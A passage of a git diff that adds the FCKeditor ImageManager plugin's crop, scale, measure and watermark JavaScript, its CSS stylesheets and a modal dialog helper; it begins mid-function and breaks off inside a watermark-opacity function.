+            }
+            else
+            {
+                ant.style.top = y+h;
+                ant.style.height = -1*h
+            }
+        }
+        
+        showStatus();
+        return false
+    }
+}
+
+function moveContent(e) 
+{
+    if (dragapproved)
+    {
+
+        var dx =ns6? oa_x + e.clientX-x: oa_x + event.clientX-x
+        var dy =ns6? oa_y + e.clientY-y : oa_y + event.clientY-y
+
+
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" dx:"+dx+" dy:"+dy;
+        }*/
+
+        ant.style.left = dx;
+        ant.style.top = dy;
+
+        showStatus();
+
+        return false;
+    }
+}
+
+//Code add for constraints by Frédéric Klee <fklee@isuisse.com>
+function moveHandle(e) 
+{
+    if (dragapproved)
+    {
+        var w = ns6? e.clientX - x : event.clientX - x;
+        var h = ns6? e.clientY - y : event.clientY - y;
+        
+               var constrained = MM_findObj('constProp', window.top.document);
+        var orginal_height = document.theImage.height ;
+        var orginal_width = document.theImage.width ;
+        rapp = orginal_width/orginal_height ;
+        rapp_inv = orginal_height / orginal_width ;
+
+        switch(resizeHandle) 
+        {
+
+            case "s-resize":
+                if (oa_h + h >= 0) 
+                               {
+                    ant.style.height = oa_h + h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h + h) ;
+                        ant.style.left = oa_x - rapp * h/2;
+                                       }
+
+                               }
+                break;
+            case "e-resize":
+                if(oa_w + w >= 0)
+                               {
+                    ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                                       {
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                        ant.style.top = oa_y - rapp_inv * w/2;
+                    }
+
+                               }
+                break;
+            case "n-resize":
+                if (oa_h - h >= 0)
+                {
+                    ant.style.top = oa_y + h;
+                    ant.style.height = oa_h - h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h - h) ;
+                        ant.style.left = oa_x + rapp * h/2;
+                    }
+
+                }
+                break;
+            case "w-resize":
+                if(oa_w - w >= 0) 
+                               {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.height = rapp_inv * (oa_w - w) ;
+                                               ant.style.top = oa_y + rapp_inv * w/2;
+                    }
+
+                }break;
+            case "nw-resize":
+                if(oa_h - h >= 0 && oa_w - w >= 0) {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                    ant.style.top = oa_y + h;
+                    if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+            break;
+            case "ne-resize":
+                if (oa_h - h >= 0 && oa_w + w >= 0){
+                    ant.style.top = oa_y + h;
+                                       ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+                break;
+            case "se-resize":
+                if (oa_h + h >= 0 && oa_w + w >= 0) 
+                {
+                    ant.style.width = oa_w + w;
+                    if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h + h;
+                }
+                break;
+            case "sw-resize":
+                if (oa_h + h >= 0 && oa_w - w >= 0)
+                {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                       ant.style.height = oa_h + h;
+                               }
+        }
+        
+        showStatus();
+        return false;
+        
+    }
+}
+
+function drags(e)
+{
+    if (!ie&&!ns6)
+        return
+    
+    var firedobj=ns6? e.target : event.srcElement
+    var topelement=ns6? "HTML" : "BODY"
+
+    while (firedobj.tagName!=topelement&&
+            !(firedobj.className=="crop" 
+                || firedobj.className=="handleBox" 
+                || firedobj.className=="selection" || firedobj.className=="selectionWhite"))
+    {
+        firedobj=ns6? firedobj.parentNode : firedobj.parentElement
+    }
+
+    if(firedobj.className=="handleBox") {
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        resizeHandle = firedobj.id;
+        
+        /*if(status!=null) {
+            status.innerHTML  = " obj:"+firedobj.id;
+        }*/
+
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+
+        oa_w = parseInt(ant.style.width);
+        oa_h = parseInt(ant.style.height);
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveHandle;
+        return false;
+    }
+    else
+    if((firedobj.className == "selection" || firedobj.className=="selectionWhite")&& mode == "crop") {
+        
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveContent;
+        return false;
+    }
+    else
+    if (firedobj.className=="crop" && mode == "crop")
+    {
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+
+        if (status == null)
+            status = MM_findObj("status");
+
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+        if(content == null) {
+            content = MM_findObj("cropContent");
+        }
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+
+        ant.style.visibility = "visible";
+
+        obj = firedobj;
+        dragapproved=true
+        z=firedobj
+        temp1=parseInt(z.style.left+0)
+        temp2=parseInt(z.style.top+0)
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        document.onmousemove=move
+        return false
+    }
+        else if(firedobj.className=="crop" && mode == "measure") {
+
+            if (ant == null)
+                ant = MM_findObj("ant");
+
+            if (canvas == null)
+                canvas = MM_findObj("imgCanvas");
+
+            x=ns6? e.clientX: event.clientX
+            y=ns6? e.clientY: event.clientY
+
+                //jg_doc.draw
+            dragapproved=true
+            document.onmousemove=measure
+
+            return false
+        }
+}
+
+function measure(e) 
+{
+    if (dragapproved)
+    {
+        mx2 = ns6? e.clientX : event.clientX;
+        my2 = ns6? e.clientY : event.clientY;
+        
+        jg_doc.clear();
+        jg_doc.setStroke(Stroke.DOTTED); 
+        jg_doc.drawLine(x,y,mx2,my2);
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+}
+
+function setMarker(nx,ny,nw,nh) 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if (canvas == null)
+        canvas = MM_findObj("imgCanvas");
+    if(content == null) {
+        content = MM_findObj("cropContent");
+    }
+
+    if (pic_width == null || pic_height == null)
+    {
+        image = MM_findObj("theImage");
+        pic_width = image.width;
+        pic_height = image.height;
+    }
+
+    ant.style.visibility = "visible";
+
+    nx = pic_x + nx;
+    ny = pic_y + ny;
+
+    if (nw >= 0)
+    {
+        ant.style.left = nx;
+        ant.style.width = nw;
+    }
+    else
+    {
+        ant.style.left = nx+nw;
+        ant.style.width = -1*nw;
+    }
+
+    if (nh >= 0)
+    {
+        ant.style.top = ny;
+        ant.style.height = nh;
+    }
+    else
+    {
+        ant.style.top = ny+nh;
+        ant.style.height = -1*nh
+    }
+
+    
+}
+
+function max(x,y) 
+{
+    if(y > x)
+        return x;
+    else 
+        return y;
+}
+
+function drawBoundHandle() 
+{
+    if(ant == null || ant.style == null) 
+        return false;
+
+    var ah = parseInt(ant.style.height);
+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    jg_doc.drawHandle(ax-15,ay-15,30,30,"nw-resize"); //upper left
+    jg_doc.drawHandle(ax-15,ay+ah-15,30,30,"sw-resize"); //lower left
+    jg_doc.drawHandle(ax+aw-15,ay-15,30,30,"ne-resize"); //upper right
+    jg_doc.drawHandle(ax+aw-15,ay+ah-15,30,30,"se-resize"); //lower right
+
+    jg_doc.drawHandle(ax+max(15,aw/10),ay-8,aw-2*max(15,aw/10),8,"n-resize"); //top middle
+    jg_doc.drawHandle(ax+max(15,aw/10),ay+ah,aw-2*max(15,aw/10),8,"s-resize"); //bottom middle
+    jg_doc.drawHandle(ax-8, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"w-resize"); //left middle
+    jg_doc.drawHandle(ax+aw, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"e-resize"); //right middle
+
+
+
+    jg_doc.drawHandleBox(ax-4,ay-4,8,8,"nw-resize"); //upper left
+    jg_doc.drawHandleBox(ax-4,ay+ah-4,8,8,"sw-resize"); //lower left
+    jg_doc.drawHandleBox(ax+aw-4,ay-4,8,8,"ne-resize"); //upper right
+    jg_doc.drawHandleBox(ax+aw-4,ay+ah-4,8,8,"se-resize"); //lower right
+
+    jg_doc.drawHandleBox(ax+aw/2-4,ay-4,8,8,"n-resize"); //top middle
+    jg_doc.drawHandleBox(ax+aw/2-4,ay+ah-4,8,8,"s-resize"); //bottom middle
+    jg_doc.drawHandleBox(ax-4, ay+ah/2-4,8,8,"w-resize"); //left middle
+    jg_doc.drawHandleBox(ax+aw-4, ay+ah/2-4,8,8,"e-resize"); //right middle
+
+    //jg_doc.paint();
+}
+
+function showStatus() 
+{
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        //alert(pic_x);
+        mx1 = x - pic_x;
+        my1 = y - pic_y;
+
+        mw = mx2 - x;
+        mh = my2 - y;
+
+        md = parseInt(Math.sqrt(mw*mw + mh*mh)*100)/100;
+
+        ma = (Math.atan(-1*mh/mw)/Math.PI)*180;
+        if(mw < 0 && mh < 0)
+            ma = ma+180;
+
+        if (mw <0 && mh >0)
+            ma = ma - 180;
+
+        ma = parseInt(ma*100)/100;
+
+        if (m_sx != null && !isNaN(mx1))
+            m_sx.value = mx1+"px";
+        if (m_sy != null && !isNaN(my1))
+            m_sy.value = my1+"px";
+        if(m_w != null && !isNaN(mw))
+            m_w.value = mw + "px";
+        if(m_h != null && !isNaN(mh))
+            m_h.value = mh + "px";
+
+        if(m_d != null && !isNaN(md))
+            m_d.value = md + "px";
+        if(m_a != null && !isNaN(ma))
+            m_a.value = ma + "";
+
+        if(r_ra != null &&!isNaN(ma))
+            r_ra.value = ma;            
+
+        //alert("mx1:"+mx1+" my1"+my1);
+        return false;
+    }
+
+    var ah = parseInt(ant.style.height);
+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    var cx = ax-pic_x<0?0:ax-pic_x;
+    var cy = ay-pic_y<0?0:ay-pic_y;
+    cx = cx>pic_width?pic_width:cx;
+    cy = cy>pic_height?pic_height:cy;
+    
+    var cw = ax-pic_x>0?aw:aw-(pic_x-ax);
+    var ch = ay-pic_y>0?ah:ah-(pic_y-ay);
+
+    ch = ay+ah<pic_y+pic_height?ch:ch-(ay+ah-pic_y-pic_height);
+    cw = ax+aw<pic_x+pic_width?cw:cw-(ax+aw-pic_x-pic_width);
+
+    ch = ch<0?0:ch; cw = cw<0?0:cw;
+    
+    if (ant.style.visibility == "hidden")
+    {
+        cx = ""; cy = ""; cw=""; ch="";
+    }
+
+    if(mode == 'crop') {
+        if(t_cx != null)
+            t_cx.value = cx;
+        if (t_cy != null)   
+            t_cy.value = cy;
+        if(t_cw != null)
+            t_cw.value = cw;
+        if (t_ch != null)   
+            t_ch.value = ch;
+    }
+    else if(mode == 'scale') {
+
+        var sw = aw, sh = ah;
+
+        if (s_sw.value.indexOf('%')>0 && s_sh.value.indexOf('%')>0)
+        {   
+            sw = cw/pic_width;
+            sh = ch/pic_height;
+        }
+        if (s_sw != null)
+            s_sw.value = sw;
+        if (s_sh != null)
+            s_sh.value = sh;
+    }
+
+}
+
+function dragStopped()
+{
+    dragapproved=false;
+
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        jg_doc.drawLine(x-4,y,x+4,y);
+        jg_doc.drawLine(x,y-4,x,y+4);
+        jg_doc.drawLine(mx2-4,my2,mx2+4,my2);
+        jg_doc.drawLine(mx2,my2-4,mx2,my2+4);
+
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+        var ah = parseInt(ant.style.height);
+        var aw = parseInt(ant.style.width);
+        var ax = parseInt(ant.style.left);
+        var ay = parseInt(ant.style.top);
+        jg_doc.clear();
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = aw-1;
+                content.height = ah-1;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        if(mode == "crop") {
+            //alert(pic_y);
+            jg_doc.fillRectPattern(pic_x,pic_y,pic_width,ay-pic_y,pattern);
+            
+            var h1 = ah;
+            var y1 = ay;
+            if (ah+ay >= pic_height+pic_y)
+                h1 = pic_height+pic_y-ay;
+            else if (ay <= pic_y)
+            {
+                h1 = ay+ah-pic_y;
+                y1 = pic_y;
+            }
+            jg_doc.fillRectPattern(pic_x,y1,ax-pic_x,h1,pattern);
+            jg_doc.fillRectPattern(ax+aw,y1,pic_x+pic_width-ax-aw,h1,pattern);
+            jg_doc.fillRectPattern(pic_x,ay+ah,pic_width,pic_height+pic_y-ay-ah,pattern);
+        }
+        else if(mode == "scale") {
+            //alert("Resizing: iw:"+image.width+" nw:"+aw);
+            document.theImage.height = ah;
+            document.theImage.width = aw;
+            document.theImage.style.height = ah+" px";
+            document.theImage.style.width = aw+" px";
+
+            P7_Snap('theImage','ant',0,0);
+
+            //alert("After Resizing: iw:"+image.width+" nw:"+aw);
+        }
+
+        drawBoundHandle();
+        jg_doc.paint();
+    
+        showStatus();
+    return false;
+}
+
+document.onmousedown=drags
+document.onmouseup=dragStopped;
+
diff --git a/fckeditor/editor/plugins/ImageManager/assets/ImageEditor.css b/fckeditor/editor/plugins/ImageManager/assets/ImageEditor.css
new file mode 100755 (executable)
index 0000000..7cefe46
--- /dev/null
@@ -0,0 +1,76 @@
+.icons {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #EEEEFF;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+
+body, td, p {
+    font: 11px Tahoma,Verdana,sans-serif;
+}
+.iconsOver {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    background-color: #F9F9FF;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.topBar {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+}
+.iconsSel {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.iconText {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-decoration: none;
+    text-align: center;
+}
+.measureStats{
+    width: 50px;
+}
+
+#slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+}
+
+
+#slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+#sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
diff --git a/fckeditor/editor/plugins/ImageManager/assets/blank.gif b/fckeditor/editor/plugins/ImageManager/assets/blank.gif
new file mode 100755 (executable)
index 0000000..75b945d
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/assets/blank.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/assets/dialog.js b/fckeditor/editor/plugins/ImageManager/assets/dialog.js
new file mode 100755 (executable)
index 0000000..430c9db
--- /dev/null
@@ -0,0 +1,111 @@
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object.  Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+       if (typeof init == "undefined") {
+               init = window;  // pass this window object by default
+       }
+       Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+       setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+       if (Dialog._modal && !Dialog._modal.closed) {
+               Dialog._stopEvent(ev);
+       }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+       //var urlLink = "hadialog"+url.toString();
+       var myURL = "hadialog"+url;
+       var regObj = /\W/g;
+       myURL = myURL.replace(regObj,'_');
+       var dlg = window.open(url, myURL,
+                             "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+                             "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+       Dialog._modal = dlg;
+       Dialog._arguments = init;
+
+       // capture some window's events
+       function capwin(w) {
+               Dialog._addEvent(w, "click", Dialog._parentEvent);
+               Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._addEvent(w, "focus", Dialog._parentEvent);
+       };
+       // release the captured events
+       function relwin(w) {
+               Dialog._removeEvent(w, "click", Dialog._parentEvent);
+               Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+       };
+       capwin(window.document);
+       // capture other frames
+       for (var i = 0; i < window.frames.length; capwin(window.frames[i++].document));
+       // make up a function to be called when the Dialog ends.
+       Dialog._return = function (val) {
+               if (val && action) {
+                       action(val);
+               }
+               relwin(window.document);
+               // capture other frames
+               for (var i = 0; i < window.frames.length; relwin(window.frames[i++].document));
+               Dialog._modal = null;
+       };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.attachEvent("on" + evname, func);
+       } else {                
+               el.addEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.detachEvent("on" + evname, func);
+       } else {
+               el.removeEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._stopEvent = function(ev) {
+       if (Dialog.is_ie) {
+               ev.cancelBubble = true;
+               ev.returnValue = false;
+       } else {
+               ev.preventDefault();
+               ev.stopPropagation();
+       }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editor.css b/fckeditor/editor/plugins/ImageManager/assets/editor.css
new file mode 100755 (executable)
index 0000000..8a0482c
--- /dev/null
@@ -0,0 +1,220 @@
+               body
+               {
+                       margin: 0; padding: 0;
+                       font: 11px Tahoma,Verdana,sans-serif;
+               }
+               select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+
+               #indicator
+               {
+                       width: 29px;
+                       height: 20px;
+                       background-color: #eef;                 
+                       padding: 15px 20px;
+                       position: absolute;
+                       left: 0; top: 0;
+               }
+               * html #indicator
+               {
+                       padding: 14px 22px;
+               }
+               #tools
+               {
+                       width: 600px;
+                       height: 50px;
+                       background-color: #eef;
+                       padding: 0;
+                       position: absolute;
+                       left: 69px;
+                       border-left: 1px solid white;
+                       border-bottom: 1px solid white;
+               }
+               #toolbar
+               {
+                       width: 59px;
+                       height: 435px;
+                       background-color: #eef;
+                       float: left;
+                       text-align: center;
+                       padding: 5px;
+                       position: absolute;
+                       top: 50px;
+                       border-top: 1px solid white;
+                       border-right: 1px solid white;
+               }
+               
+               #contents
+               {
+                       width: 600px;
+                       height: 445px;
+                       position: absolute;
+                       left: 70px; top: 51px;
+               }
+               
+               #editor
+               {
+                       width: 600px;
+                       height: 445px;
+               }
+
+               #toolbar a 
+               {
+                       padding: 5px 3px;
+                       width: 52px;
+                       display: block;
+                       border: 1px solid #eef;
+                       text-align: center;
+                       text-decoration: none;
+                       color: #669;
+                       margin: 5px 0;
+               }
+               #toolbar a:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+               
+               #toolbar a.iconActive
+               {
+                       border-color: #669;
+               }
+
+               #toolbar a span
+               {
+                       display: block;
+                       text-decoration: none;
+                       
+               }
+               #toolbar a img
+               {
+                       border: 0 none;
+               }
+               
+               #tools .textInput
+               {
+                       width: 3em;
+                       vertical-align: 0px;
+
+               }
+               * html #tools .textInput
+               {
+                       vertical-align: middle;
+               }
+               #tools .measureStats
+               {
+                       width: 4.5em;
+                       border: 0 none;
+                       background-color: #eef;
+                       vertical-align: 0px;
+               }
+               * html #tools .measureStats
+               {
+                       vertical-align: middle;
+               }
+               .measureStats
+               {
+                       color: black;
+               }
+               #tools label
+               {
+                       margin: 0 2px 0 5px;
+               }
+               #tools input
+               {
+                       vertical-align: middle;
+               }
+               #tools #tool_inputs
+               {
+                       padding-top: 10px;
+                       float: left;                    
+               }
+               #tools .div
+               {
+                       vertical-align: middle;
+                       margin: 0 5px;
+               }
+               #tools img
+               {
+                       border: 0 none;
+               }
+               #tools a.buttons
+               {
+                       margin-top: 10px;
+                       border: 1px solid #eef;
+                       display: block;
+                       float: left;
+               }
+               #tools a.buttons:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+
+               .slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+        top: 6px;
+        margin: 0 -5px 0 -10px;
+
+       
+}
+
+
+.slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+.sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+* html #slidercasing
+{
+       top:0;
+}
+
+
+#bottom
+{
+       position: relative;
+       top: 490px;
+}
+
+#messages
+{
+       position: relative;
+       left: 175px;
+       top: 115px;
+       background-color: white;
+       width: 200px;
+       float: left;
+       margin-top: -52px;
+       border: 1px solid #ccc;
+       text-align: center;
+       padding: 15px;
+}
+
+#message
+{
+       font-size: 15px;
+       font-weight: bold;
+       color: #69c;
+}
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editor.js b/fckeditor/editor/plugins/ImageManager/assets/editor.js
new file mode 100755 (executable)
index 0000000..2865adf
--- /dev/null
@@ -0,0 +1,323 @@
+/**
+ * Functions for the ImageEditor interface, used by editor.php only    
+ * @author $Author: matrix $
+ * @author $Author: matrix $ - constraints toggle and check
+ * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: editor.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+       var current_action = null;
+       var actions = ['crop', 'scale', 'rotate', 'measure', 'save', 'watermark', 'replace'];
+       var orginal_width = null, orginal_height=null;
+       function toggle(action) 
+       {
+               if(current_action != action)
+               {
+                       // hiding watermark
+                       if (editor.window.document.getElementById("imgCanvas"))
+                       {
+                               editor.window.document.getElementById("imgCanvas").style.display = "block";
+                               editor.window.document.getElementById("background").style.display = "none";
+                               if (editor.window.watermarkingEnabled == true)
+                               {
+                                       editor.window.dd.elements.floater.hide();
+                               }
+                       }
+
+                       for (var i in actions)
+                       {
+                               if(actions[i] != action)
+                               {
+                                       var tools = document.getElementById('tools_'+actions[i]);
+                                       tools.style.display = 'none';
+                                       var icon = document.getElementById('icon_'+actions[i]);
+                                       icon.className = '';
+                               }
+                       }
+
+                       current_action = action;
+                       
+                       var tools = document.getElementById('tools_'+action);
+                       tools.style.display = 'block';
+                       var icon = document.getElementById('icon_'+action);
+                       icon.className = 'iconActive';
+
+                       var indicator = document.getElementById('indicator_image');
+                       indicator.src = 'img/'+action+'.gif';
+
+                       editor.setMode(current_action);
+
+                       // if watermark action, show watermark
+                       if(action == 'watermark') 
+                       {
+                               if (editor.window.document.getElementById("imgCanvas"))
+                               {
+                                       editor.window.document.getElementById("imgCanvas").style.display = "none";
+                                       editor.window.document.getElementById("background").style.display = "block";
+                                       if (editor.window.watermarkingEnabled == true)
+                                       {
+                                       editor.window.dd.elements.floater.show();
+                                       editor.window.dd.elements.floater.moveTo(0, 0);
+                                       editor.window.verifyBounds();
+                                       }
+                               }
+                       }
+
+                       //constraints on the scale,
+                       //code by Frédéric Klee <fklee@isuisse.com>
+                       if(action == 'scale') 
+                       {
+                               var theImage = editor.window.document.getElementById('theImage');
+                               orginal_width = theImage.width ;
+                               orginal_height = theImage.height;
+
+                var w = document.getElementById('sw');
+                               w.value = orginal_width ;
+                               var h = document.getElementById('sh') ;
+                               h.value = orginal_height ;
+                       }
+               }
+       }
+
+       function toggleMarker() 
+       {
+               var marker = document.getElementById("markerImg");
+               
+               if(marker != null && marker.src != null) {
+                       if(marker.src.indexOf("t_black.gif") >= 0)
+                               marker.src = "img/t_white.gif";
+                       else
+                               marker.src = "img/t_black.gif";
+
+                       editor.toggleMarker();
+               }
+       }
+
+       //Toggle constraints
+       function toggleConstraints() 
+       {
+               var lock = document.getElementById("scaleConstImg");
+               var checkbox = document.getElementById("constProp");
+               
+               if(lock != null && lock.src != null) {
+                       if(lock.src.indexOf("unlocked2.gif") >= 0)
+                       {
+                               lock.src = "img/islocked2.gif";
+                               checkbox.checked = true;
+                               checkConstrains('width');
+
+                       }
+                       else
+                       {
+                               lock.src = "img/unlocked2.gif";
+                               checkbox.checked = false;
+                       }
+               }
+       }
+       
+       //check the constraints
+       function checkConstrains(changed) 
+       {
+               var constrained = document.getElementById('constProp');
+               if(constrained.checked) 
+               {
+                       var w = document.getElementById('sw') ;
+                       var width = w.value ;
+                       var h = document.getElementById('sh') ;
+                       var height = h.value ;
+                       
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) 
+                                       h.value = parseInt((width/orginal_width)*orginal_height);
+                               else if(changed == 'height' && height > 0) 
+                                       w.value = parseInt((height/orginal_height)*orginal_width);
+                       }
+               }
+               
+               updateMarker('scale') ;
+       }
+
+
+       function updateMarker(mode) 
+       {
+               if (mode == 'crop')
+               {
+                       var t_cx = document.getElementById('cx');
+                       var t_cy = document.getElementById('cy');
+                       var t_cw = document.getElementById('cw');
+                       var t_ch = document.getElementById('ch');
+
+                       editor.setMarker(parseInt(t_cx.value), parseInt(t_cy.value), parseInt(t_cw.value), parseInt(t_ch.value));
+               }
+               else if(mode == 'scale') {
+                       var s_sw = document.getElementById('sw');
+                       var s_sh = document.getElementById('sh');
+                       editor.setMarker(0, 0, parseInt(s_sw.value), parseInt(s_sh.value));
+               }
+       }
+
+       
+       function rotatePreset(selection) 
+       {
+               var value = selection.options[selection.selectedIndex].value;
+               
+               if(value.length > 0 && parseInt(value) != 0) {
+                       var ra = document.getElementById('ra');
+                       ra.value = parseInt(value);
+               }
+       }
+
+       function updateFormat(selection) 
+       {
+               var selected = selection.options[selection.selectedIndex].value;
+
+               var values = selected.split(",");
+               if(values.length >1) {
+                       updateSlider(parseInt(values[1]));
+               }
+
+       }
+
+       function doUpload() 
+       {
+               // hiding action buttons
+               var buttons = parent.document.getElementById('buttons');
+               buttons.style.display = 'none';
+               // hiding current action's controls
+               var tools = parent.document.getElementById('tools_replace');
+               tools.style.display = 'none';
+
+               // try to restrict the user from closing the editor window when uploading
+               parent.old = (parent.onbeforeunload) ? parent.onbeforeunload : function () {};
+               parent.onbeforeunload = function () {parent.old(); alert(i18n("Please do not close the window while uploading a new image! If you do, the original image gets deleted!")); return false;};
+               
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm)
+                       showMessage('Uploading');
+       }
+
+       // show processing message
+       function showMessage(newMessage) 
+       {
+               var message = document.getElementById('message');
+               var messages = document.getElementById('messages');
+               if(message.firstChild)
+                       message.removeChild(message.firstChild);
+
+               message.appendChild(document.createTextNode(i18n(newMessage)));
+               
+               messages.style.display = "block";
+       }
+
+       // hide message
+       function hideMessage() 
+       {
+               var messages = document.getElementById('messages');
+               messages.style.display = "none";
+       }
+
+       // change watermark
+       function changeWatermark(source)
+       {
+               if (editor.window.watermarkingEnabled)
+               {
+                       floater = editor.window.dd.elements.floater;
+                       floater.swapImage(eval("editor.window." + source.options[source.selectedIndex].value + "Preload.src"));
+                       floater.resizeTo(source.options[source.selectedIndex].getAttribute("x"), source.options[source.selectedIndex].getAttribute("y"));
+                       editor.window.verifyBounds();
+               }
+       }
+
+       // change watermark opacity
+       function changeWatermarkOpacity(opacity)
+       {
+               if (editor.window.watermarkingEnabled)
+               {
+                       floater = editor.window.dd.elements.floater;
+
+                       // IE/Win
+                       floater.css.filter = "alpha(opacity:" + opacity + ")";
+                       // Safari < 1.2, Konqueror
+                       floater.css.KHTMLopacity = opacity / 100;
+                       // Older Mozilla and Firefox
